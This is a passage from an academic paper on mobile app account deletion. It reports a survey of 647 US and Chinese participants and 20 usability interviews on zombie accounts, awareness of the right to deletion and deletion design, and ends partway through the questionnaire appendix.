No entry in the app 0

Operation: Steps
1-4 steps 1

More than 4 steps 0
* We define the entry as a common path as long as “Account deletion”

is located under the settings related to the account.

to the customer service. We recorded the subject’s whole oper-

ations by recording software on the phone for further analysis,

such as the clicking traces to find the account deletion entry.

Part 2: Interview. After the participant finished the exper-

iment part, we started the semi-structured interview to ob-

tain realistic feelings and expectations based on the fresh

experience. Participants were first asked about their attitudes

towards the setting of the account deletion entry. Next, we

probed their experience of the account deletion process, ask-

ing questions such as “Do you think the account deletion

process is complicated?”, “Do you think any steps are redun-

dant?”, “How do you think the conditions of account dele-

tion?” Last, we inquired the participants about suggestions

and anything else that they would like to share with us about

account deletion.

5.2 Recruitment and Demographics

Online survey. We recruited 688 participants via online re-

search platforms, 288 by Prolific 2 in the U.S. and 400 by Wen-

juanxing 3 in China respectively. We rejected the responses

that were completed in less than 2 minutes to ensure the qual-

ity and got 647 (94%) qualitative responses. On average, it

took 9.97 minutes to finish the survey. Based on the local

income, participants who completed the survey in China re-

ceived 4 CNY and participants in the U.S. received 2 USD.

The survey lasted from November 2021 to January 2022.

We sought balanced recruitment considering gender, age

range, and educational background. Purposive sampling was

performed using Prolific and Wenjuanxing built-in study in-

clusion criteria which allowed researchers to specify availabil-

ity based on prescreened demographics. We additionally col-

lected proficiency of smartphones and all participants claimed

an experience with the smartphone. The participants’ demo-

graphics are presented in Table 2.

Offline interview. Our offline interview recruited a total of

20 participants. We published our recruitment advertisement

on the school bulletin board and anyone interested can con-

tact us with their demographic information, including gender,

age range, education background, and smartphone proficiency.

2Prolific: https://www.prolific.co
3Wenjuanxing: https://www.wjx.cn

Table 2: Demographics of the questionnaire participants.
The U.S. CHN
(n=279) (n=368)

n % n %

Gender

M 137 49.1 180 48.9

F 138 49.5 188 51.1

No-binary 3 1.1 0 0

No answer 1 0.4 0 0

Age

18-25 78 28.0 110 29.9

26-35 90 32.3 95 25.8

36-45 69 24.7 86 23.4

46-55 23 8.2 61 16.6

56+ 18 6.5 16 4.4

No answer 1 0.4 0 0

Education

Below bachelor 126 45.2 148 40.2

Bachelor 138 49.5 146 39.7

Master or above 55 19.7 74 20.1

Choose no 6 2.2 0 0

Proficiency
Developer 46 16.5 72 19.6

Familiar 233 83.5 265 72.0

Basic 0 0 31 8.4

The average time of the interview is 19.9 minutes. Each par-

ticipant was paid 6 USD (15 CNY) as a reward.

The demographic information for participants of the semi-

structured interviews is released online [7]. More than half

of the subjects are students aged 18-25 pursuing a bachelor’s

degree. All participants can skillfully use smartphones, among

which 3/20 have certain programming skills.

5.3 Analysis

Qualitative analysis. We used inductive coding [50] to an-

alyze participants’ expressions on the interviews and open-

ended questions (Q14, Q36) in the questionnaire. It is a com-

mon method for analyzing qualitative data and can help us

to get a more complete, unbiased look at the themes. Two re-

searchers were involved in the coding. First, a primary coder

created an initial codebook based on the responses in the in-

terview and questionnaire. Next, a secondary coder encoded

20% of the sub-sample for each topic. The result of the sec-

ondary coder continued iterating with the primary coder, until

Cohen’s κ, which represented the inter-coder agreement, was

greater than 0.7. We solved coding conflicts through sufficient

group discussion among coders, following the practices of

other works [34, 43, 45]. The codebook is released online [7].

Statistical analysis. We used the Chi-squared test to quantita-

tively compare associations between different variables when

all expected frequencies were at least 5, and Fisher’s Exact

Test (FET) otherwise (all α = 0.05).

Specifically, we used the Chi-squared test to find out the

correlation between whether the user knew about RTD (Q6)

and how the account was handled (Q7), and to analyze rela-

tions between the number of apps on the phone that would no
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longer be used (Q9) and the total number of apps in mobile

phones (Q8). The association between deleting an account

(Q16) and reading the introduction (Q23) was also analyzed

by the Chi-square test. We performed Fisher’s Exact Test to

analyze the answer of Q14 about zombie accounts and their

actions in practice (Q7). For the questions involved in the

analysis, to accurately measure the correlation, we binned

“Others” and “No responses” choices.

5.4 Limitations

Our study is limited in its recruitment. We attempted to com-

pensate by performing purposive sampling on the online plat-

forms to balance demographic factors like age and gender,

but we cannot claim the full generalizability of the results.

Despite this limitation, prior work [48] suggested that online

studies about privacy and security behavior can approximate

the behaviors of populations. Similarly, most in-person inter-

views were limited on the campus. Due to the outbreak of

COVID-19, the number and demographics of interviewees

are limited.

Moreover, the user study design is in part based on the

results of the pre-study, which only focuses on the Android

market. But to the best of our knowledge, this is the first

systematic measurement of the mobile app account deletion

practice. At last, social desirability may lead to participants

over claiming their awareness and understandings of account

deletion as they may believe that this is the expectation of the

researchers but not their actual thoughts or behaviors.

6 Result

This section is structured along with our three key research

questions. We first present our findings concerning the ne-

cessity of account deletion and users’ awareness of it for

data protection (RQ1, Section 6.1). Second, we show users’

practices and understandings of account deletion (RQ2, Sec-

tion 6.2). Third, we assess users’ feelings about the current

account deletion processes and indicate their expectations

(RQ3, Section 6.3). Our research includes participants from

the U.S. and China, and their choices are homogeneous on

most questions in our results. Thus, in the following sections,

unless specially clarified, our result analysis and discussions

are based on the entire set of online surveys (647 participants)

and offline interviews (20 participants) without discriminating

the countries.

6.1 RQ1: Necessity and Awareness

We find that most users keep zombie accounts, though they

know the RTD by law and want to protect personal data.

6.1.1 Awareness

We first collected participants’ attitudes towards privacy pro-

tection (Q5) and data protection laws (Q6). 89% of our partic-

ipants were concerned about their personal information and

they would like to positively take action in daily life. For

the rights of personal data, the options of Q6 were designed

differently according to the rights given to data subjects under

different laws, but both China and the U.S. presidents have

the RTD. Most participants (78%) indicated they were aware

of the RTD. The proportion was slightly different in the U.S.

(68%, 191/279) and China (80%, 315/368), which is probably

because CCPA is not a nationwide law in the U.S.

After that, we tried to get a first impression of participants’

consciousness to delete zombie accounts by providing a sce-

nario where the user registered an app account that would

never be used in the future (Q7). Only 30% of our participants

chose that they would delete the account. Others chose to re-

move the app directly or logout the account. Figure 4(a) shows

the full results of this question. The results mean considerable

users know they have RTD but do not clearly know in which

situations should they delete an account. A Chi-squared test

found participants who knew RTD tend to deal with their ac-

counts more securely (χ2(1) = 7.6877, p = 0.006). Note that,

in this imaginary situation of Q7, the proportion of partici-

pants who deleted the account timely could be overestimated

than in practice because participants may believe this is the

expectation of the researchers.

To further learn users’ awareness of account deletion in

their daily practices, we then asked them what were the sta-

tuses of the app accounts that were no longer used with a few

questions (Q8-Q10 for apps on the phone, and Q11-Q13 for

uninstalled apps). Figure 4(b) shows the results of the two

situations. 40% of the participants acknowledged that they

kept a few apps on the phone that would no longer be used

(58% (162/279) in the U.S. and 26% (95/368) in China, Q9).

According to the analysis of the Chi-squared test, we proved

that this value was directly proportional to the number of apps

on mobile phones (χ2(4) = 31.6287, p < 0.001). The ques-

tionnaire results (Q8) showed that American participants had

more apps on their mobile phones on average (avg_app_nums

= 38.5) than Chinese participants (avg_app_nums = 28.5), so

it is reasonable that there were more unused apps among the

U.S. participants. Unfortunately, almost all participants (98%,

251/257, Q10) said the accounts of these zombie apps were

not deleted. The following three questions inquired about the

account status of those uninstalled apps. In general, the ma-

jority of users (65%, Q11) had more accounts than apps. For

participants (86%, Q12) who chose “The app is used once or

twice and may no longer be used again, so I uninstalled it”,

less than one-third of them (26%, 145/554, Q13) deleted the

accounts when asked “What do you do before uninstalling

apps that you will not use again?”. Over half of the partici-

pants (57%, 314/554, Q13) expressed they would do nothing
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Logout the account Deactivate the account

Delete the account Uninstall the app directly

Do nothing

(a) What would you do with those accidentally downloaded apps? (Q7)

0% 20% 40% 60% 80% 100%

uninstalled apps (n=554)

apps on the phone (n=257)

Delete the account No account deletion

(b) Did you delete the accounts for unused apps? (Q10, Q13)

Figure 4: Based on hypothetical scenarios and users’ experience, three quarters of participants didn’t delete their unused accounts.

but uninstall apps directly. In conclusion, a vast number of

participants (75%, which is consistent with the proportion

in Q7) held zombie accounts. This means the awareness of

account deletion, an important way of exercising RTD, needs

to be improved.

6.1.2 Necessity

As mentioned before, most users have zombie accounts. Next,

we further explored whether users are willing to protect

the data in zombie accounts. First, we asked participants

whether they know any risks and whether they have expe-

rienced any trouble caused by their zombie accounts (Q14).

More than half participants (60%) expressed their concerns.

Fisher’s exact test found participants who expressed concern

appeared more likely to delete their accounts in practice (FET,

p < 0.05). Surprisingly, 10% of participants indicated that

they had experienced or heard of the impact of not delet-

ing accounts timely, and some of them (56%, 35/63) wrote

down their experiences of trouble. Qualitative coding of these

free-text responses summarized three kinds of troubles met

by participants: (1) persistent promotional pushes, including

emails, messages, calls, etc. (60%, 21/35), (2) information dis-

closure, e.g., harassing messages from other companies (34%,

12/35), and (3) financial loss, e.g., charging for subscription

automatically (6%, 2/35).

Next, we took a real data usage and collection claim from

the privacy policy of a specific app to ask whether partici-

pants want the app vendor to continue storing and using these

personal data if the app has not been used for a long time or

even will never be used again (Q15). 95% of the participants

hold a negative attitude, which indicates that most people are

strongly desired to delete personal data in zombie accounts.

In addition to Q14 which informed participants of the im-

pact of zombie accounts on themselves, we took a represen-

tative case to ask whether users had the experience that al-

though it was the first time to use an app they accidentally

used another person’s account (Q24). Surprisingly, 22% of

participants answered yes or indicated similar cases. This real

situation is hard to be noticed by the zombie account owner

but puts the owner’s information at great risk. Note that to

avoid bias against users’ awareness, we put this question in

part two after we got the results of part one. In conclusion,

zombie accounts have non-negligible impacts on users and

account deletion is necessary, desired by most people.

6.2 RQ2: Practice and Understanding
We find that more than half of the participants had successful

account deletion experiences although zombie accounts exist

widely, while about one-third of users never tried to delete an

account mostly due to the unawareness of the account deletion.

Also notably, the unfriendly design of the account deletion

operation blocks a non-ignorable number of users from delet-

ing accounts. Furthermore, we find participants who had the

experience of account deletion tend to read relevant instruc-

tions, but most people, in general, do not understand or trust

the real effect of account deletion.

6.2.1 Practice

Participants were first asked if they had ever deleted a mobile

app account (Q16), and then inquired about related reasons

based on different answers (Q17-Q19).

Compared to the results in RQ1 that 75% of the partici-

pants kept zombie accounts, 55% (Q16) of the participants

expressed that they had successfully deleted an account before,

which means a number of users know the account deletion but

usually forget to deal with the zombie accounts. The results

of Q16 also show differences between the American and Chi-

nese participants: users in the U.S. could have better account

deletion habits as 66% (184/279) of American participants

claimed they had account deletion experience while the por-

tion in China is 46% (171/368). The types of apps deleted by

participants were scattered, as shown in Figure 5 (social me-

dia takes the most (40%, 142/355, Q19)). The reasons for their

deletion varied from only stopping the account to terminating

using the app, including deleting the history in old accounts,

getting tired of the app, security concerns, etc. By contrast,

30% (Q16) of the participants indicated they never tried to
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delete an account. “Never consider deleting the accounts” is

the most common reason (82%, 157/192, Q18), while “all the

accounts are in active use” only takes 8% (16/192, Q18). This

also proves that the lack of awareness contributes a lot to the

born of zombie accounts, which is aligned with the results in

RQ1.

Some participants (15%, Q16) claimed they tried to delete

accounts but failed for some reasons. We asked them about the

failure reasons (Q17) by providing some choices, which are

designed based on the account deletion model in our pre-study

(Section 4), along with a free-text justification. According to

the results, the unfriendly operation is the most important

reason preventing participants from account deletion. Specif-

ically, 62% (62/100) of the participants said they could not

find the entry, “the service didn’t have the option for deleting
the account, at least not easily discoverable.”(P133). 58%

(58/100) of the participants expressed that “too many steps”
prevented them from successfully completing the account

deletion process. In addition, we noticed that users do not

change their minds easily once they decide to apply for ac-

count deletion. Only 4% (4/100) of the participants failed the

deletion because of regret.

6.2.2 Understanding

After collecting users’ practices of account deletion, we

sought users’ understandings of account deletion. We firstly

asked participants how much attention they paid to the pri-

vacy policy about account deletion (Q22, Q23), which may

illustrate account deletion in detail. The results show large

quantities of participants never read (37%) or only took a

glance at (56%) the policy. Correlation analysis on Q23 and

Q16 reveals that most people who deleted accounts tend to

read the introduction of account deletion in the privacy policy

(χ2(2) = 47.7039, p < 0.001). This means people who delete

their accounts are willing to learn what the exact impacts of

this operation are.

Next, participants were asked to pick out the options they

consider to be in line with the concept of account deletion

(Q25). The options include basic statements extracted from

the privacy policy and some misleading descriptions we

crafted on purpose. Figure 6 presents users’ understandings

of account deletion. The cognition of most participants was

quite different from the claim of app vendors. Some basic

common effects of account deletion were not understood or

trusted by users, for example, more than half of the partici-

pants thought that their personal data would not be deleted

after account deletion (57%, 1 - 280/647), and the deletion

is reversible (61%, 1 - 251/647). This means users may not

correctly or completely understand account deletion (consid-

ering most people do not read the privacy policy carefully or

cannot fully understand the obscure expressions [49]) or be

privacy resigned and not believe the action will take effect.

Additionally, during the pre-study, we noted that account

deactivation is popular in the U.S. and could confuse users.

For example, according to Instagram’s privacy policy [8], “If

you don’t want to delete your account but want to temporarily

stop using the Products, you can deactivate your account in-

stead.” Therefore, we added Q26 for the U.S. participants in

order to study their understandings of this confusing function.

We collated the practices of different vendors on account deac-

tivation and let the participants (n=279) select statements that

are consistent with their understanding. Unexpectedly, 45%

(125/279) of the participants mistakenly believed deactivation

was a way to delete data.

6.3 RQ3: Feeling and Expectation

As mentioned in Section 5.1, RQ3 was addressed by both the

online survey and in-person interviews. In the online ques-

tionnaire, only those participants who succeeded in deleting

accounts (n=355) were asked about their feelings about the

process of account deletion (Q21). The results gave us the

first impression of users’ sentiments about the current account

deletion designs: only less than one-third (30%, 105/355, Q21)

considered no inconvenience was found during the deletion.

To further obtain fresh-memory operation feelings and ex-

pectations of the participants, we did an in-person interview

study (Section 5.1.2). For expectations of account deletion,

the results are mainly acquired by Part 3 of the online survey

(Q27-Q36). In order to get more opinions from users, an op-

tional free-text question (Q36) was designed at the end of the

questionnaire that asked for suggestions. In this subsection,

we report our findings structured with the account deletion

model proposed in Section 4.

6.3.1 Operation - Entry

The results of Q21 show that finding the account deletion

entry (62%, 155/250) is the most frequently reported issue.

For the interview results, we analyzed the recorded videos of

participants’ operations and their open responses during the

interview. We found that the design of the account deletion

entry was hard to find. Participants needed to click 13.04

times to find the entry for account deletion per app on average.

That’s a third as many clicks as the average path measured in

the pre-study, which means participants experienced lots of

failures before discovering the account deletion button. In a

very extreme case, interviewee No.7 clicked 72 times to get

the account deletion entry of Weibo. During seeking the entry,

about a half of the participants (50% 10/20) in the experiment

turned to a search engine for help, three participants (15%)

asked customer service for help, and one person tried to read

the privacy policy. When asked how they felt about the de-

sign of account deletion entry after the experiment, almost all

participants felt disgruntled with the current settings. “This
app seems to intentionally not want me to find the account
deletion portal.”, stated by interviewee No.8.
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sically had similar understanding of the account deletion. (Q25)

Experience matters. Based on the videos, we also find that

experience of account deletion may impact users’ exploration

path. As the experiment went on, it was obvious that the

participants would refer to the operation of the previously

completed account deletion process when they deleted the

second or the third account. This finding is also proved by

users’ open responses during the interview. “I wasn’t sure if
there’s a delete portal, but based on my previous attempts it
was probably here, so I clicked on it.”, interviewee No.9 said.

Expectations. The results of Q36 show users’ expectations

on the entry for account deletion. Through our qualitative

analysis, 23% (76/327) of the participants pointed out that

the entry should be easier to discover. P385 and P391 stated,

“Please put it in an easy to find location.”, “I think most apps
should make it easy to delete, often it is hard to find the op-
tion.”. In the interview, we asked the participants for some

advice about the account deletion entry design. The results

were consistent with those in the questionnaire, 16/20 of the

participants believed the entry should be located more appar-

ently and easier for users to find. Besides being easy to find,

13/20 of them explicitly expressed that the account deletion

entry should be in the app and support self-service. 7/20 of

the participants expressed that if the account deletion requests

needed to be made over the phone or by email, they would

likely give up the deletion. We added an additional question

(Q34) to ask the U.S. participants about their attitudes towards

the way to account deletion in the questionnaire, as we ob-

served that a few popular apps in the U.S. required users to

operate outside the apps (e.g., accessing a website or sending

an email). Similarly, according to the results, 91% (253/279)

of the participants preferred to be able to delete accounts

within the app, without having to open an extra browser and

log in the website.

6.3.2 Operation - Steps

In our online survey (Q21), the complicated account deletion

process was chosen as the second inconvenient factor (51%,

128/250). In general, participants believed these steps were

reasonable, but should be more concise. “The process should
be as easy as opening an account.” (P551) and “Companies
should make it very easy for customers to accomplish.”(P585).

According to our observation in pre-study, steps of account

deletion generally include the following contents: notification,

reason gathering, and authentication. Therefore, our semi-

interview is organized surrounding these three steps.

Notification. After participants finished the experiments, we

asked them if they would read the notice or instructions when

deleting the app accounts. 14/20 participants claimed they

did not carefully read the deletion notice or did not read at all

before clicking “I agree”, even though there was a mandatory

reading time. Meanwhile, according to the results of our pre-

study, not every app notifies users of the risks and effects of

deletion. Interviewee No.6 indicated he would read the notice

depending on whether the accounts contain much sensitive

personal data. For those who read the notice, their main con-

cern was what information would be deleted after the account

was deleted. As No.12 responded, “I mainly care about the
effect of the deletion, like what gets deleted.”.

Reason gathering. For the step of collecting deletion rea-

sons, we asked 17 participants who encountered the reason

inquiry. 11/17 participants indicated it was acceptable, among

which 4 participants explicitly expressed they would give

feedback seriously. “User feedback is necessary, I hope that
manufacturers can absorb my advice to improve products.
This is better for users”, one interviewee (No.9) said. On the

other hand, 35.3% (6/17) participants felt this step is unnec-

essary as they thought users get no benefit but being delayed.

Interviewee No.10 stated, “I don’t think choosing reason is
meaningful, I just picked randomly. Anyway, I don’t want to
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use it anymore.”.

Authentication. We then asked 18 participants who encoun-

tered authentication during the deletion process the necessity

of the authentication step. Overall, 77.8% (14/18) of them

hold positive opinions. They believed additional authentica-

tion would better guarantee security (4/14). However, 5/14

(35.7%) of them indicated the authentication method should

not be more complex than receiving an SMS/email verifica-

tion code. They didn’t want to take extra actions to delete

an account, such as sending a text message, which would be

charged by the telecommunications companies. While the

other 22.2% (4/18) participants held a negative attitude. As

interviewee No.3 said, “When I was in the account deletion
process, I must be already logged in. So why need I confirm
my identity again? If I lose my phone and someone takes it
away, he can still receive the SMS verification code, which
seems to be a meaningless step.”

6.3.3 Condition

A few participants (14%, 36/250, Q21) in the online ques-

tionnaire chose “The deletion preconditions are too strict”.

We asked 14 interviewees who encountered the conditions to

check whether they thought the preconditions of apps are rea-

sonable. Only one participant indicated that there should be

nothing blocking account deletion, while the others accepted

current settings in general. Some specific preconditions are

not reasonable according to some participants’ feedback, such

as the premium member cannot delete the account (e.g., Migu
Video), the balance in the account must be empty. E.g., In

MoMo, to withdraw cash, users need to bind their bank cards

and authenticate with their real names which are meaning-

less for the users who want to leave the app. Some apps

require users to manually complete some operations, such

as Pandora. For these conditions requiring user’s operation,

interviewee No.4 suggested that apps could provide a button

directly linked to the preprocess page for users to operate

when they delete the account. For the conditions set for se-

curity reasons or business requirements, such as no account

changing within 30 days and no order in process within 30

days, participants generally indicated that the shorter time

limit is the better. Interviewee No.12 stated that “After thirty
days, I would forget that there is an account waiting to be
deleted. Seven days or less would be better.”

6.3.4 Time Frame

In the online survey (Q21), 42% of the participants com-

plained the deletion cannot be completed immediately. To

further justify what the best design of time frame is, we asked

participants how long they expected the app vendor to com-

pletely delete all their personal information (Q29) and whether

they wanted to have the ability to withdraw the deletion af-

ter applying for account deletion (Q30). Results show that

people’s expectations are notably shorter than the current

app designs. 44% of the participants expected the personal

data to be deleted immediately. Almost all (90%, 584/647)

participants wished the data to be deleted within seven days.

However, according to our measurement in Section 4, the av-

erage deletion period of current apps is 14.75 days (shortest:

immediately, longest: one year).

Additionally, we observed that several apps provided noti-

fications when the account deletion was completed and some

apps allowed users to withdraw their deletion request or con-

tinue to use the account before it was finished. We further

asked how participants thought about these three functions

(Q30, Q31, Q32) (Q30 and Q31 were only presented to those

who hoped not to delete the account immediately (n=363)).

Results show that most people (88%) expected to be notified

when their account deletion request was finished. Nearly half

of the participants (48%, 174/363) wanted to keep the right to

withdraw deletion in case of regret, and 63% (227/363) of the

participants expected the account to be inactivated and should

not be used as normal in the time frame period.

6.3.5 Effect

We asked what data interviewees would like to be deleted

after account deletion in the in-person interviews. Some inter-

viewees (No.1, No.10) said that “Accounts should be deleted
in full”, “It shouldn’t be a hustle and all apps should be able
to delete all the information about users.”. In their expecta-

tion, once the deletion is requested, all information connected

to that account should be permanently deleted as well.

In the results of the questionnaire (Q27), identity infor-

mation (e.g., phone number, email, ID number) is the one

most participants expected to be deleted, accounting for 87%.

Followed by the account information (86%) including the

nickname, profile photo, personality settings, etc. However,

only 32% of the tested apps clearly claimed in their policy to

delete all users’ personal information, which doesn’t match

users’ expectations.

For the data processing methods, we asked participants

what their expectations are (Q33). In the pre-study we noticed

that half of the tested apps did not clearly state what data

was deleted or anonymized because both ways are in line

with legal requirements. However, only 12% of participants

were fine with the handling, believing that anonymization

had the same effect as deletion. 60% of our participants only

accepted physical deletion. In their opinion, other methods

are not secure and could be recovered possibly.

In the optional open-ended question Q36, 24% (80/327)

participants showed their concern about the real impact of

account deletion. It is important to make sure the data is com-

pletely deleted after deleting the account. However, as normal

users, they can hardly confirm this. “Please actually delete
the info unlike Facebook”, “It should remove all information
of the user without any limitation.”, P413 and P460 said.
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6.3.6 Others

There are also other interesting findings from our interviews

and optional open-response suggestions.

Willingness affects behaviors. Facing the complex account

deletion operation in the interview, more than half of the

participants indicated that if they had a strong willingness, no

matter how hidden the entrance was, they would find it by

all means. “As long as I firmly want to delete the account,
these problems will not hinder me from completing it and even
make me more want to delete it.”, one interviewee said (No.7).

While if the willingness is not strong enough, they may give

up the deletion.

The types of apps also influence users’ willingness. 30%

(6/20) interviewees indicated that if the app involved financial

or contained a lot of information, no matter how difficult

the operations were, they would delete the account. “If the
app has little information or does not involve money while
deleting the account is so troublesome, I would give up.”, one

interviewee said (No.12).

Automatic account recycling is helpful. We observed some

vendors will automatically delete accounts if users do not log

in for a long time (e.g., Yahoo). So, in the online survey, we

asked what participants thought about this account deletion

relevant service (Q35) on a 5-point Likert scale. The average

score is 3.27, which means most participants hold a positive

attitude towards account recycling. Some supporters said “I
wish all services had offered this. If I haven’t used it in a year,
I’m unlikely to do so with the old account.” (P390), while

others thought “It should be my choice only.” (P622). It was

hoped that the vendors could make a request to users before

deleting the unused account, and delete it only after getting

their confirmation. As P459 stated, “It is a good idea, but if I
want to keep it, there should be an option to keep it forever
without worrying about the deletion.”

7 Discussion and Recommendation

Our findings indicate that RTD and account deletion are highly

demanded by users, but most users likely forget to deal with

their zombie accounts. The security and privacy implications

of zombie accounts are also strengthened, e.g., 22% of par-

ticipants stated they unwittingly took over accounts of other

people (Q24), indicating the realistic privacy and security

risks caused by zombie accounts. Meanwhile, the account

deletion implementations of the apps today do not meet users’

expectations and may even block users from exercising RTD.

Our study did show that the account deletion processes of

certain vendors are more complicated or with more condi-

tions imposed than other vendors. Obviously, vendors have

motivations to keep users, which probably leads to a design of

complex operations, strict conditions, and long time frames.

We try to systematically measure current apps’ practices and

provide several recommendations based on users’ expecta-

tions to effectively improve the usability and privacy benefits

of mobile app account deletion. Our recommendations below

not only serve as concrete guidelines for the app or system

designers but also have the potential to help policymakers

understand current account deletion practices and gaps in leg-

islation for better regulating data practices and protecting user

data.

Improve users’ consciousness. Zombie accounts seem

widespread and indeed jeopardize users’ privacy and secu-

rity [11], which is also reflected by our survey. Our study

indicates a sad reality that account deletion is not commonly

used, although users are not willing to let personal data in

zombie accounts continue to be used by vendors. As discussed

in RQ1 (Section 6.1), 78% of the participants knew they have

RTD, but 75% of users kept zombie accounts. Meanwhile,

more than half of the participants expressed their concerns

about the impact of not deleting accounts timely. However,

in this case, 30% (Q16) of our participants even never tried

to delete an account. Therefore, the policymakers and me-

dia should strengthen publicity that account deletion is an

important way to exercise RTD and to protect personal data.

Besides publicity, app and system designers could add pop-

up notifications to remind users of exercising RTD. For exam-

ple, similar to the runtime permission request design in An-

droid that actively indicates what data will be collected [22],

mobile apps can design a kindly reminder mechanism for

account deletion. One participant P293 in our survey said, “If
there was a prompt when I uninstall the app, I would remem-
ber to delete the account.”

Automatic account deletion is likely another useful method

to address the trouble caused by zombie accounts. About half

of the participants (46%, avg=3.27) held a relatively positive

attitude towards automatic account deletion (Q35), as one

participant (P391) mentioned, “I have many created many
accounts over the past 20+ years that I’ve forgotten about. I
wish all services had offered this. If I haven’t used it in a year,
I’m unlikely to do so with the old account.” Most participants

who expressed the negative answers wished vendors to remind

them to delete their accounts, but not delete them without

users’ explicit permissions.

Simplify the account deletion operations. A simpler de-

sign of account deletion operations would likely encourage

users to better exercise RTD. In our study, 55% (Q21) of

participants who had account deletion experiences expressed

that the entry was too hard to find, which is likely due to

too many required clicks as shown in our pre-study results.

The negative effect of the required number of clicks on users

was also proved by the work of Chen et al. [33]. Unified

settings in a standard location reachable within three clicks

would be helpful, for example, “Settings > Account Security
> Account Deletion”, as indicated by our observations and

participants’ feedback from our interviews. Similarly, the op-

eration steps of making the deletion request also troubled the

participants. 15% of participants who tried to delete an ac-
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count were blocked by the complicated design of the account

deletion operation (Q16). Many participants left suggestions

in the open-response question like “The easier, the better”
(P310). On the other hand, because the account deletion is a

security-sensitive function, the operation design should bal-

ance both usability and security. Habib et al. [34] proposed

several suggestions for completing the privacy choice tasks

easier on websites, including providing unified settings in

a standard location and offering multiple paths for users to

conveniently reach the location. Our study indicates that such

suggestions obtained on the Web can be further generalized

to mobile contexts.

Improve the transparency. Unlike active opt-out privacy

choices that have a specific impact, account deletion usu-

ally does not have a clear effect. As shown in our results

(Section 6.2.2), more than half of the users do not correctly

understand the effect of account deletion. A possible reason

could be the ambiguous and non-uniform instructions of dif-

ferent apps as found in our pre-study. For example, the privacy

policy of Wechat [29] describes “delete or anonymize your
personal information within a reasonable period”, the spe-

cific data to be deleted, the data to be anonymized and the

period are all not clearly clarified. Also, our survey and other

studies [37] showed that users rarely read and understand the

entire privacy policy. Thus, vendors not only should use a stan-

dard and detailed expression of account deletion but also need

a user-friendly interface to display the policy. Our account

deletion model in Section 4 can be used as norms for building

a standard expression. In the pre-study, we found some apps

provided an individual document besides the privacy policy

for explaining the account deletion and sent users an email

to notify them of what had been done. These means can be

used to help consumers better understand account deletion

and that is what users expect. P381, P569 said “I want an
email stating the details.” and “I wish it was clearer what it
meant and easier to do.”
Comprehensive and user-definable settings. Our survey

shows that different participants may have different expecta-

tions for account deletion, e.g., whether the deletion should

take effect immediately, whether the account should continue

to be used after applying for the account deletion, and whether

the account deletion application could be withdrawn, etc.

Therefore, we believe that instead of taking their own var-

ious implementations and making the process complex to

keep consumers, app vendors should better provide users the

flexibility of choice, which would satisfy more users’ expec-

tations. Moreover, we find users expect more comprehensive

functions. 88% of the participants would like to receive noti-

fications when the deletion is done (Q32). Some participants

want to locally back up the account data before deletion. Some

expect that the vendors cannot use the data after deletion but

users can restore the account whenever they want. This regret-

ful feature of account deletion is never seen in current apps’

implementations as far as we know. Designers could leverage

state-of-the-art cryptography techniques to realize this in the

future.

Bolster users’ confidence. Similar to the concern of pri-

vacy choices revealed by previous work [46], participants in

our study were also skeptical about whether the account data

would actually be deleted by app vendors. This concern is rea-

sonable because the deletion can hardly be verified from the

client side based on current commercial technical architecture.

Specifically, in our study, 11 participants complained in free-

text questions that they still received the relevant promotion

text messages or harassing phone calls after they had deleted

their accounts, which annoyed them. The fact that vendors do

not completely delete users’ data is also demonstrated by our

experiment in pre-study. With a new smartphone and a new

mobile number, researchers continue receiving messages and

phone calls even though all app accounts have been deleted.

In addition to strict supervision from the government, state-

of-the-art techniques like secure enclaves, remote attestation,

and privacy-preserving computation would contribute to a

more trusted data management and improvement of users’

confidence, especially by providing a mechanism for users to

ensure the data is deleted.

8 Conclusion
We conducted a 647-participants online survey covering two

countries along with an additional 20-participants on-site us-

ability evaluation to explore users’ practices, understandings,

and expectations of mobile app account deletion. The studies

were based on the account deletion model we proposed, which

was summarized from an empirical measurement covering

60 mobile apps. Our findings revealed that the right to dele-

tion is highly demanded but account deletion, an important

way to exercise the right, is usually neglected by users. Com-

bining the measurement data and current users’ feelings and

expectations, the results highlight the need to raise users’ con-

sciousness and simplify the mobile account deletion operation.

Moreover, improving transparency and providing comprehen-

sive and user-definable settings will help narrow the current

gap between users’ expectations and apps’ implementation.

In conclusion, our new findings and understanding will lead

to a better design of today’s mobile app account deletion and

contribute to better protection on consumers’ personal data.
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Appendix

Questions in the online survey

Part 0: Basic information of respondents
1. How old are you?

(a) 18-25 years old; (b) 26-35 years old; (c) 36-45 years old; (d)

46-55 years old; (e) 56+ years old (f) No response

2. What is your gender?

(a) Female; (b) Male; (c) Not listed above; (d) No response

3. What is your educational background?

(a) Below Bachelor degree (b) Bachelor degree (c) Master degree or

above (d) No response

4. Which of the following best describes your level of proficiency

with smartphones?

(a) Basic (I use pre-installed apps only); (b) Familiar (I can perform

normal tasks such as installing new applications); (c) Devel-

oper/Professional; (d) Not familiar (I do not have a smartphone).

Part 1: Understanding of the account deletion
5. Do you care about your personal information?

(a) I am very concerned about my personal information and try my

best to avoid the leakage of personal information in my daily life.

(b) I care about my personal information and try to protect personal

information in my daily life. (c) I am a little concerned about the

protection of personal information, but have never acted. (d)I do not

care about the protection of my personal information at all.

6. Which of the following are “Consumer Rights and Information”

under CCPA? (multi-select)

(a) Price discrimination based upon the exercise of the opt-out right

(b) Consumers’ right to prohibit the sale of their information (c)
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Consumers’ right to receive information about onward disclosures

(d) Information required to be provided as part of an access request

(e) Consumers’ right to deletion (f) Consumers’ right to receive

information on privacy practices and access information

7. Suppose you were invited to participate in the lottery. The orga-

nizer asked you to download a specific app and you registered an

account for it. After that activity, the app may have no other value

for you and you will never use it again. Then, what will you do with

this app?

(a) Do nothing and just keep it in the phone. (b) Uninstall the app

directly. (c) Logout the account and uninstall the app. (d) Logout the

account and keep the app. (e) Delete the account and then uninstall

the app. (f) Delete the account and keep the app. (g) Deactivate the

account and then uninstall the app. (h) Deactivate the account and

keep the app. (i) Others ([free text])

8. How many apps do you currently have in your mobile phone

(excluding those pre-installed by the manufacturer)?

(a) less than 10 (b) 11-30 (c) 31-50 (d) 51-100 (e) 100+

9. Do you keep any apps that you will not use in the future on your

phone?

(a) Yes, I have a few apps on my phone that are no longer used. (b)

No, all apps on my phone will be used.

10. (If Q9. (a) is selected, answer this question) What is the current

account status of the app(s) that is(are) no longer used?

(a) Stay logged in (b) Logout status (c) The account has already been

deleted (d) The account has been deactivated

11. Please roughly estimate the number of app accounts you have

registered and compare it to the number of apps now on your phone.

(a) The number of accounts is less than the number of apps (b) The

same (c) The number of accounts is slightly more than the number

of apps (within 10 more) (d) The number of accounts is more than

the number of apps (10-20 more) (e) The number of accounts is far

